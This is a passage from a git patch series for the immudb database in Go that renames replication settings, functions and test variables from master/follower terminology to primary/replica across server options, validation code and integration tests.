replication option FollowerUsername on master database '%s'", + "%w: invalid value for replication option PrimaryUsername on primary database '%s'", ErrIllegalArguments, opts.Database) } - if opts.FollowerPassword != "" { + if opts.PrimaryPassword != "" { return fmt.Errorf( - "%w: invalid value for replication option FollowerPassword on master database '%s'", + "%w: invalid value for replication option PrimaryPassword on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrefetchTxBufferSize > 0 { return fmt.Errorf( - "%w: invalid value for replication option PrefetchTxBufferSize on master database '%s'", + "%w: invalid value for replication option PrefetchTxBufferSize on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.ReplicationCommitConcurrency > 0 { return fmt.Errorf( - "%w: invalid value for replication option ReplicationCommitConcurrency on master database '%s'", + "%w: invalid value for replication option ReplicationCommitConcurrency on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.AllowTxDiscarding { return fmt.Errorf( - "%w: invalid value for replication option AllowTxDiscarding on master database '%s'", + "%w: invalid value for replication option AllowTxDiscarding on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.SyncReplication && opts.SyncAcks == 0 { return fmt.Errorf( - "%w: invalid replication options for master database '%s'. It is necessary to have at least one sync follower", + "%w: invalid replication options for primary database '%s'. It is necessary to have at least one sync replica", ErrIllegalArguments, opts.Database) } if !opts.SyncReplication && opts.SyncAcks > 0 { return fmt.Errorf( - "%w: invalid replication options for master database '%s'. SyncAcks should be set to 0", + "%w: invalid replication options for primary database '%s'. SyncAcks should be set to 0", ErrIllegalArguments, opts.Database) } } @@ -700,9 +700,9 @@ func (opts *dbOptions) Validate() error { func (opts *dbOptions) isReplicatorRequired() bool { return opts.Replica && - opts.MasterDatabase != "" && - opts.MasterAddress != "" && - opts.MasterPort > 0 + opts.PrimaryDatabase != "" && + opts.PrimaryHost != "" && + opts.PrimaryPort > 0 } func (s *ImmuServer) saveDBOptions(options *dbOptions) error { diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index 970254e67b..8855ce02a5 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -100,19 +100,19 @@ func TestMasterOptions(t *testing.T) { opts.PrefetchTxBufferSize = 100 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.FollowerPassword = "follower-pwd" + opts.PrimaryPassword = "follower-pwd" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.FollowerUsername = "follower-username" + opts.PrimaryUsername = "follower-username" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.MasterPort = 3323 + opts.PrimaryPort = 3323 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.MasterAddress = "localhost" + opts.PrimaryHost = "localhost" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.MasterDatabase = "masterdb" + opts.PrimaryDatabase = "masterdb" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.SyncAcks = -1 diff --git a/pkg/server/options.go b/pkg/server/options.go index 1fecbc6d16..54a54fa8f6 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -87,10 +87,10 @@ type ReplicationOptions struct { IsReplica bool SyncReplication bool SyncAcks int // only if !IsReplica && SyncReplication - MasterAddress string // only if IsReplica - MasterPort int // only if IsReplica - FollowerUsername string // only if IsReplica - FollowerPassword string // only if IsReplica + PrimaryHost string // only if IsReplica + PrimaryPort int // only if IsReplica + PrimaryUsername string // only if IsReplica + PrimaryPassword string // only if IsReplica PrefetchTxBufferSize int // only if IsReplica ReplicationCommitConcurrency int // only if IsReplica AllowTxDiscarding bool // only if IsReplica @@ -276,7 +276,7 @@ func (o *Options) String() string { } if isReplica { - opts = append(opts, rightPad("Replica of", fmt.Sprintf("%s:%d", repOpts.MasterAddress, repOpts.MasterPort))) + opts = append(opts, rightPad("Replica of", fmt.Sprintf("%s:%d", repOpts.PrimaryHost, repOpts.PrimaryPort))) } if o.Config != "" { @@ -504,23 +504,23 @@ func (opts *ReplicationOptions) WithSyncAcks(syncAcks int) *ReplicationOptions { return opts } -func (opts *ReplicationOptions) WithMasterAddress(masterAddress string) *ReplicationOptions { - opts.MasterAddress = masterAddress +func (opts *ReplicationOptions) WithPrimaryHost(primaryHost string) *ReplicationOptions { + opts.PrimaryHost = primaryHost return opts } -func (opts *ReplicationOptions) WithMasterPort(masterPort int) *ReplicationOptions { - opts.MasterPort = masterPort +func (opts *ReplicationOptions) WithPrimaryPort(primaryPort int) *ReplicationOptions { + opts.PrimaryPort = primaryPort return opts } -func (opts *ReplicationOptions) WithFollowerUsername(followerUsername string) *ReplicationOptions { - opts.FollowerUsername = followerUsername +func (opts *ReplicationOptions) WithPrimaryUsername(primaryUsername string) *ReplicationOptions { + opts.PrimaryUsername = primaryUsername return opts } -func (opts *ReplicationOptions) WithFollowerPassword(followerPassword string) *ReplicationOptions { - opts.FollowerPassword = followerPassword +func (opts *ReplicationOptions) WithPrimaryPassword(primaryPassword string) *ReplicationOptions { + opts.PrimaryPassword = primaryPassword return opts } diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index fee5b03373..cfb183f7fe 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -67,10 +67,10 @@ func TestReplicationOptions(t *testing.T) { WithIsReplica(true). WithSyncReplication(false). WithSyncAcks(0). - WithMasterAddress("localhost"). - WithMasterPort(3322). - WithFollowerUsername("follower-user"). - WithFollowerPassword("follower-pwd"). + WithPrimaryHost("localhost"). + WithPrimaryPort(3322). + WithPrimaryUsername("follower-user"). + WithPrimaryPassword("follower-pwd"). WithPrefetchTxBufferSize(100). WithReplicationCommitConcurrency(5). WithAllowTxDiscarding(true) @@ -78,10 +78,10 @@ func TestReplicationOptions(t *testing.T) { require.True(t, repOpts.IsReplica) require.False(t, repOpts.SyncReplication) require.Zero(t, repOpts.SyncAcks) - require.Equal(t, "localhost", repOpts.MasterAddress) - require.Equal(t, 3322, repOpts.MasterPort) - require.Equal(t, "follower-user", repOpts.FollowerUsername) - require.Equal(t, "follower-pwd", repOpts.FollowerPassword) + require.Equal(t, "localhost", repOpts.PrimaryHost) + require.Equal(t, 3322, repOpts.PrimaryPort) + require.Equal(t, "follower-user", repOpts.PrimaryUsername) + require.Equal(t, "follower-pwd", repOpts.PrimaryPassword) require.Equal(t, 100, repOpts.PrefetchTxBufferSize) require.Equal(t, 5, repOpts.ReplicationCommitConcurrency) require.True(t, repOpts.AllowTxDiscarding) diff --git a/pkg/server/server.go b/pkg/server/server.go index 4fd46dd4a3..b4f0b99c0f 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -633,11 +633,11 @@ func (s *ImmuServer) startReplicationFor(db database.DB, dbOpts *dbOptions) erro defer s.replicationMutex.Unlock() replicatorOpts := replication.DefaultOptions(). - WithMasterDatabase(dbOpts.MasterDatabase). - WithMasterAddress(dbOpts.MasterAddress). - WithMasterPort(dbOpts.MasterPort). - WithFollowerUsername(dbOpts.FollowerUsername). - WithFollowerPassword(dbOpts.FollowerPassword). + WithPrimaryDatabase(dbOpts.PrimaryDatabase). + WithPrimaryHost(dbOpts.PrimaryHost). + WithPrimaryPort(dbOpts.PrimaryPort). + WithPrimaryUsername(dbOpts.PrimaryUsername). + WithPrimaryPassword(dbOpts.PrimaryPassword). WithPrefetchTxBufferSize(dbOpts.PrefetchTxBufferSize). WithReplicationCommitConcurrency(dbOpts.ReplicationCommitConcurrency). WithAllowTxDiscarding(dbOpts.AllowTxDiscarding). From ab3e211aadaf5e30762bcf7780fbdb43a923459e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 14:54:18 +0100 Subject: [PATCH 0012/1062] fix: Change replication-related terms in tests MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- embedded/store/immustore_test.go | 44 ++-- pkg/integration/follower_replication_test.go | 182 ++++++++--------- pkg/integration/replication/suite.go | 170 ++++++++-------- .../synchronous_replication_test.go | 188 +++++++++--------- pkg/server/db_options_test.go | 8 +- pkg/server/options_test.go | 10 +- pkg/server/server_test.go | 2 +- 7 files changed, 302 insertions(+), 302 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 3b7b5b684f..64b5cfb31b 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -2293,11 +2293,11 @@ func TestUncommittedTxOverwriting(t *testing.T) { } func TestExportAndReplicateTx(t *testing.T) { - masterDir := t.TempDir() + primaryDir := t.TempDir() - masterStore, err := Open(masterDir, DefaultOptions()) + primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) - defer immustoreClose(t, masterStore) + defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() @@ -2305,7 +2305,7 @@ func TestExportAndReplicateTx(t *testing.T) { require.NoError(t, err) defer immustoreClose(t, replicaStore) - tx, err := masterStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx() require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2317,9 +2317,9 @@ func TestExportAndReplicateTx(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr) - txholder := tempTxHolder(t, masterStore) + txholder := tempTxHolder(t, primaryStore) - etx, err := masterStore.ExportTx(1, false, txholder) + etx, err := primaryStore.ExportTx(1, false, txholder) require.NoError(t, err) rhdr, err := replicaStore.ReplicateTx(etx, false) @@ -2334,11 +2334,11 @@ func TestExportAndReplicateTx(t *testing.T) { } func TestExportAndReplicateTxCornerCases(t *testing.T) { - masterDir := t.TempDir() + primaryDir := t.TempDir() - masterStore, err := Open(masterDir, DefaultOptions()) + primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) - defer immustoreClose(t, masterStore) + defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() @@ -2346,7 +2346,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { require.NoError(t, err) defer immustoreClose(t, replicaStore) - tx, err := masterStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx() require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2358,10 +2358,10 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr) - txholder := tempTxHolder(t, masterStore) + txholder := tempTxHolder(t, primaryStore) t.Run("prevent replicating broken data", func(t *testing.T) { - etx, err := masterStore.ExportTx(1, false, txholder) + etx, err := primaryStore.ExportTx(1, false, txholder) require.NoError(t, err) for i := range etx { @@ -2392,11 +2392,11 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { } func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { - masterDir := t.TempDir() + primaryDir := t.TempDir() - masterStore, err := Open(masterDir, DefaultOptions()) + primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) - defer immustoreClose(t, masterStore) + defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() @@ -2409,7 +2409,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { for i := 0; i < txCount; i++ { t.Run(fmt.Sprintf("tx: %d", i), func(t *testing.T) { - tx, err := masterStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx() require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2422,7 +2422,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { require.NotNil(t, hdr) txholder := tempTxHolder(t, replicaStore) - etx, err := masterStore.ExportTx(hdr.ID, false, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, txholder) require.NoError(t, err) // Replicate the same transactions concurrently, only one must succeed @@ -2452,11 +2452,11 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { } func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { - masterDir := t.TempDir() + primaryDir := t.TempDir() - masterStore, err := Open(masterDir, DefaultOptions()) + primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) - defer immustoreClose(t, masterStore) + defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() @@ -2472,7 +2472,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { txholder := tempTxHolder(t, replicaStore) for i := 0; i < txCount; i++ { - tx, err := masterStore.NewWriteOnlyTx() + tx, err := primaryStore.NewWriteOnlyTx() require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) @@ -2484,7 +2484,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr) - etx, err := masterStore.ExportTx(hdr.ID, false, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, txholder) require.NoError(t, err) etxs <- etx diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 489037037c..c82a1d420f 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -33,68 +33,68 @@ import ( ) func TestReplication(t *testing.T) { - //init master server - masterDir := t.TempDir() + //init primary server + primaryDir := t.TempDir() - masterServerOpts := server.DefaultOptions(). + primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). - WithDir(masterDir) + WithDir(primaryDir) - masterServer := server.DefaultServer().WithOptions(masterServerOpts).(*server.ImmuServer) + primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) - err := masterServer.Initialize() + err := primaryServer.Initialize() require.NoError(t, err) - //init follower server - followerDir := t.TempDir() + //init replica server + replicaDir := t.TempDir() - followerServerOpts := server.DefaultOptions(). + replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). - WithDir(followerDir) + WithDir(replicaDir) - followerServer := server.DefaultServer().WithOptions(followerServerOpts).(*server.ImmuServer) + replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) - err = followerServer.Initialize() + err = replicaServer.Initialize() require.NoError(t, err) go func() { - masterServer.Start() + primaryServer.Start() }() go func() { - followerServer.Start() + replicaServer.Start() }() time.Sleep(1 * time.Second) defer func() { - masterServer.Stop() + primaryServer.Stop() time.Sleep(1 * time.Second) - followerServer.Stop() + replicaServer.Stop() }() - // init master client - masterPort := masterServer.Listener.Addr().(*net.TCPAddr).Port - masterClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(masterPort)) + // init primary client + primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port + primaryClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(primaryPort)) require.NoError(t, err) - require.NotNil(t, masterClient) + require.NotNil(t, primaryClient) - mlr, err := masterClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + mlr, err := primaryClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) require.NoError(t, err) mmd := metadata.Pairs("authorization", mlr.Token) - mctx := metadata.NewOutgoingContext(context.Background(), mmd) + pctx := metadata.NewOutgoingContext(context.Background(), mmd) - // create database as masterdb in master server - _, err = masterClient.CreateDatabaseV2(mctx, "masterdb", &schema.DatabaseNullableSettings{ + // create database as primarydb in primary server + _, err = primaryClient.CreateDatabaseV2(pctx, "primarydb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: 1}, @@ -102,40 +102,40 @@ func TestReplication(t *testing.T) { }) require.NoError(t, err) - mdb, err := masterClient.UseDatabase(mctx, &schema.Database{DatabaseName: "masterdb"}) + mdb, err := primaryClient.UseDatabase(pctx, &schema.Database{DatabaseName: "primarydb"}) require.NoError(t, err) require.NotNil(t, mdb) mmd = metadata.Pairs("authorization", mdb.Token) - mctx = metadata.NewOutgoingContext(context.Background(), mmd) + pctx = metadata.NewOutgoingContext(context.Background(), mmd) - err = masterClient.CreateUser(mctx, []byte("follower"), []byte("follower1Pwd!"), auth.PermissionAdmin, "masterdb") + err = primaryClient.CreateUser(pctx, []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") require.NoError(t, err) - err = masterClient.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: "follower"}) + err = primaryClient.SetActiveUser(pctx, &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) - // init follower client - followerPort := followerServer.Listener.Addr().(*net.TCPAddr).Port - followerClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(followerPort)) + // init replica client + replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port + replicaClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(replicaPort)) require.NoError(t, err) - require.NotNil(t, followerClient) + require.NotNil(t, replicaClient) - flr, err := followerClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + flr, err := replicaClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) require.NoError(t, err) fmd := metadata.Pairs("authorization", flr.Token) - fctx := metadata.NewOutgoingContext(context.Background(), fmd) + rctx := metadata.NewOutgoingContext(context.Background(), fmd) - // create database as replica in follower server - _, err = followerClient.CreateDatabaseV2(fctx, "replicadb", &schema.DatabaseNullableSettings{ + // create database as replica in replica server + _, err = replicaClient.CreateDatabaseV2(rctx, "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: true}, - PrimaryDatabase: &schema.NullableString{Value: "masterdb"}, + PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, - PrimaryPort: &schema.NullableUint32{Value: uint32(masterPort)}, - PrimaryUsername: &schema.NullableString{Value: "follower"}, + PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, + PrimaryUsername: &schema.NullableString{Value: "replicator"}, PrimaryPassword: &schema.NullableString{Value: "wrongPassword"}, }, }) @@ -143,147 +143,147 @@ func TestReplication(t *testing.T) { time.Sleep(1 * time.Second) - _, err = followerClient.UpdateDatabaseV2(fctx, "replicadb", &schema.DatabaseNullableSettings{ + _, err = replicaClient.UpdateDatabaseV2(rctx, "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - PrimaryPassword: &schema.NullableString{Value: "follower1Pwd!"}, + PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) - fdb, err := followerClient.UseDatabase(fctx, &schema.Database{DatabaseName: "replicadb"}) + fdb, err := replicaClient.UseDatabase(rctx, &schema.Database{DatabaseName: "replicadb"}) require.NoError(t, err) require.NotNil(t, fdb) fmd = metadata.Pairs("authorization", fdb.Token) - fctx = metadata.NewOutgoingContext(context.Background(), fmd) + rctx = metadata.NewOutgoingContext(context.Background(), fmd) t.Run("key1 should not exist", func(t *testing.T) { - _, err = followerClient.Get(fctx, []byte("key1")) + _, err = replicaClient.Get(rctx, []byte("key1")) require.Error(t, err) require.Contains(t, err.Error(), "key not found") }) - _, err = masterClient.Set(mctx, []byte("key1"), []byte("value1")) + _, err = primaryClient.Set(pctx, []byte("key1"), []byte("value1")) require.NoError(t, err) - _, err = masterClient.Set(mctx, []byte("key2"), []byte("value2")) + _, err = primaryClient.Set(pctx, []byte("key2"), []byte("value2")) require.NoError(t, err) time.Sleep(1 * time.Second) - t.Run("key1 should exist in replicadb@follower", func(t *testing.T) { - _, err = followerClient.Get(fctx, []byte("key1")) + t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { + _, err = replicaClient.Get(rctx, []byte("key1")) require.NoError(t, err) }) - fdb, err = followerClient.UseDatabase(fctx, &schema.Database{DatabaseName: "defaultdb"}) + fdb, err = replicaClient.UseDatabase(rctx, &schema.Database{DatabaseName: "defaultdb"}) require.NoError(t, err) require.NotNil(t, fdb) fmd = metadata.Pairs("authorization", fdb.Token) - fctx = metadata.NewOutgoingContext(context.Background(), fmd) + rctx = metadata.NewOutgoingContext(context.Background(), fmd) - t.Run("key1 should not exist in defaultdb@follower", func(t *testing.T) { - _, err = followerClient.Get(fctx, []byte("key1")) + t.Run("key1 should not exist in defaultdb@replica", func(t *testing.T) { + _, err = replicaClient.Get(rctx, []byte("key1")) require.Contains(t, err.Error(), "key not found") }) } func TestSystemDBAndDefaultDBReplication(t *testing.T) { - //init master server - masterDir, err := ioutil.TempDir("", "master-data") + // init primary server + primaryDir, err := ioutil.TempDir("", "primary-data") require.NoError(t, err) - defer os.RemoveAll(masterDir) + defer os.RemoveAll(primaryDir) - masterServerOpts := server.DefaultOptions(). + primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). - WithDir(masterDir) + WithDir(primaryDir) - masterServer := server.DefaultServer().WithOptions(masterServerOpts).(*server.ImmuServer) + primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) - err = masterServer.Initialize() + err = primaryServer.Initialize() require.NoError(t, err) go func() { - masterServer.Start() + primaryServer.Start() }() time.Sleep(1 * time.Second) - defer masterServer.Stop() + defer primaryServer.Stop() - // init master client - masterPort := masterServer.Listener.Addr().(*net.TCPAddr).Port - masterClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(masterPort)) - require.NotNil(t, masterClient) + // init primary client + primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port + primaryClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(primaryPort)) + require.NotNil(t, primaryClient) - err = masterClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) - defer masterClient.CloseSession(context.Background()) + defer primaryClient.CloseSession(context.Background()) - //init follower server - followerDir, err := ioutil.TempDir("", "follower-data") + // init replica server + replicaDir, err := ioutil.TempDir("", "replica-data") require.NoError(t, err) - defer os.RemoveAll(followerDir) + defer os.RemoveAll(replicaDir) replicationOpts := &server.ReplicationOptions{ IsReplica: true, - MasterAddress: "127.0.0.1", - MasterPort: masterPort, - FollowerUsername: "immudb", - FollowerPassword: "immudb", + PrimaryHost: "127.0.0.1", + PrimaryPort: primaryPort, + PrimaryUsername: "immudb", + PrimaryPassword: "immudb", PrefetchTxBufferSize: 100, ReplicationCommitConcurrency: 1, } - followerServerOpts := server.DefaultOptions(). + replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). - WithDir(followerDir). + WithDir(replicaDir). WithReplicationOptions(replicationOpts) - followerServer := server.DefaultServer().WithOptions(followerServerOpts).(*server.ImmuServer) + replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) - err = followerServer.Initialize() + err = replicaServer.Initialize() require.NoError(t, err) go func() { - followerServer.Start() + replicaServer.Start() }() time.Sleep(1 * time.Second) - defer followerServer.Stop() + defer replicaServer.Stop() - // init follower client - followerPort := followerServer.Listener.Addr().(*net.TCPAddr).Port - followerClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(followerPort)) - require.NotNil(t, followerClient) + // init replica client + replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port + replicaClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(replicaPort)) + require.NotNil(t, replicaClient) - err = followerClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) - defer followerClient.CloseSession(context.Background()) + defer replicaClient.CloseSession(context.Background()) t.Run("key1 should not exist", func(t *testing.T) { - _, err = followerClient.Get(context.Background(), []byte("key1")) + _, err = replicaClient.Get(context.Background(), []byte("key1")) require.Error(t, err) require.Contains(t, err.Error(), "key not found") }) - _, err = masterClient.Set(context.Background(), []byte("key1"), []byte("value1")) + _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) time.Sleep(1 * time.Second) - t.Run("key1 should exist in replicateddb@follower", func(t *testing.T) { - _, err = followerClient.Get(context.Background(), []byte("key1")) + t.Run("key1 should exist in replicateddb@replica", func(t *testing.T) { + _, err = replicaClient.Get(context.Background(), []byte("key1")) require.NoError(t, err) }) - _, err = followerClient.Set(context.Background(), []byte("key2"), []byte("value2")) + _, err = replicaClient.Set(context.Background(), []byte("key2"), []byte("value2")) require.Contains(t, err.Error(), "database is read-only because it's a replica") } diff --git a/pkg/integration/replication/suite.go b/pkg/integration/replication/suite.go index 087ee02cd3..3e3ad3ba2d 100644 --- a/pkg/integration/replication/suite.go +++ b/pkg/integration/replication/suite.go @@ -16,10 +16,10 @@ import ( ) const ( - masterDBName = "masterdb" + primaryDBName = "primarydb" replicaDBName = "replicadb" - replicaUsername = "follower" - replicaPassword = "follower1Pwd!" + primaryUsername = "replicator" + primaryPassword = "replicator1Pwd!" ) // TestServer is an abstract representation of a TestServer @@ -48,89 +48,89 @@ type baseReplicationTestSuite struct { mu sync.Mutex // server settings - master TestServer - masterDBName string - masterRunning bool + primary TestServer + primaryDBName string + primaryRunning bool - followers []TestServer - followersDBName []string - followersRunning []bool + replicas []TestServer + replicasDBName []string + replicasRunning []bool clientStateDir string } -func (suite *baseReplicationTestSuite) GetFollowersCount() int { +func (suite *baseReplicationTestSuite) GetReplicasCount() int { suite.mu.Lock() defer suite.mu.Unlock() - return len(suite.followers) + return len(suite.replicas) } -func (suite *baseReplicationTestSuite) AddFollower(sync bool) int { +func (suite *baseReplicationTestSuite) AddReplica(sync bool) int { suite.mu.Lock() defer suite.mu.Unlock() - follower := suite.srvProvider.AddServer(suite.T()) + replica := suite.srvProvider.AddServer(suite.T()) - followerNum := len(suite.followers) - suite.followers = append(suite.followers, follower) - suite.followersDBName = append(suite.followersDBName, replicaDBName) - suite.followersRunning = append(suite.followersRunning, true) + replicaNum := len(suite.replicas) + suite.replicas = append(suite.replicas, replica) + suite.replicasDBName = append(suite.replicasDBName, replicaDBName) + suite.replicasRunning = append(suite.replicasRunning, true) - fctx, followerClient, cleanup := suite.internalClientFor(follower, client.DefaultDB) + rctx, replicaClient, cleanup := suite.internalClientFor(replica, client.DefaultDB) defer cleanup() - masterHost, masterPort := suite.master.Address(suite.T()) + primaryHost, primaryPort := suite.primary.Address(suite.T()) settings := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: sync}, - PrimaryDatabase: &schema.NullableString{Value: suite.masterDBName}, - PrimaryHost: &schema.NullableString{Value: masterHost}, - PrimaryPort: &schema.NullableUint32{Value: uint32(masterPort)}, - PrimaryUsername: &schema.NullableString{Value: replicaUsername}, - PrimaryPassword: &schema.NullableString{Value: replicaPassword}, + PrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName}, + PrimaryHost: &schema.NullableString{Value: primaryHost}, + PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, + PrimaryUsername: &schema.NullableString{Value: primaryUsername}, + PrimaryPassword: &schema.NullableString{Value: primaryPassword}, }, } - // init database on the follower to replicate - _, err := followerClient.CreateDatabaseV2(fctx, replicaDBName, settings) + // init database on the replica to replicate + _, err := replicaClient.CreateDatabaseV2(rctx, replicaDBName, settings) require.NoError(suite.T(), err) - return followerNum + return replicaNum } -func (suite *baseReplicationTestSuite) StopFollower(followerNum int) { +func (suite *baseReplicationTestSuite) StopReplica(replicaNum int) { suite.mu.Lock() defer suite.mu.Unlock() - f := suite.followers[followerNum] + f := suite.replicas[replicaNum] f.Shutdown(suite.T()) - suite.followersRunning[followerNum] = false + suite.replicasRunning[replicaNum] = false } -func (suite *baseReplicationTestSuite) StartFollower(followerNum int) { +func (suite *baseReplicationTestSuite) StartReplica(replicaNum int) { suite.mu.Lock() defer suite.mu.Unlock() - f := suite.followers[followerNum] + f := suite.replicas[replicaNum] f.Start(suite.T()) - suite.followersRunning[followerNum] = true + suite.replicasRunning[replicaNum] = true } -func (suite *baseReplicationTestSuite) PromoteFollower(followerNum, syncAcks int) { +func (suite *baseReplicationTestSuite) PromoteReplica(replicaNum, syncAcks int) { suite.mu.Lock() defer suite.mu.Unlock() - // set follower as new master and current master as follower - suite.master, suite.followers[followerNum] = suite.followers[followerNum], suite.master - suite.masterDBName, suite.followersDBName[followerNum] = suite.followersDBName[followerNum], suite.masterDBName + // set replica as new primary and current primary as replica + suite.primary, suite.replicas[replicaNum] = suite.replicas[replicaNum], suite.primary + suite.primaryDBName, suite.replicasDBName[replicaNum] = suite.replicasDBName[replicaNum], suite.primaryDBName - mctx, mClient, cleanup := suite.internalClientFor(suite.master, suite.masterDBName) + mctx, mClient, cleanup := suite.internalClientFor(suite.primary, suite.primaryDBName) defer cleanup() - _, err := mClient.UpdateDatabaseV2(mctx, suite.masterDBName, &schema.DatabaseNullableSettings{ + _, err := mClient.UpdateDatabaseV2(mctx, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: false}, SyncReplication: &schema.NullableBool{Value: syncAcks > 0}, @@ -139,45 +139,45 @@ func (suite *baseReplicationTestSuite) PromoteFollower(followerNum, syncAcks int }) require.NoError(suite.T(), err) - mdb, err := mClient.UseDatabase(mctx, &schema.Database{DatabaseName: suite.masterDBName}) + mdb, err := mClient.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName}) require.NoError(suite.T(), err) require.NotNil(suite.T(), mdb) - err = mClient.CreateUser(mctx, []byte(replicaUsername), []byte(replicaPassword), 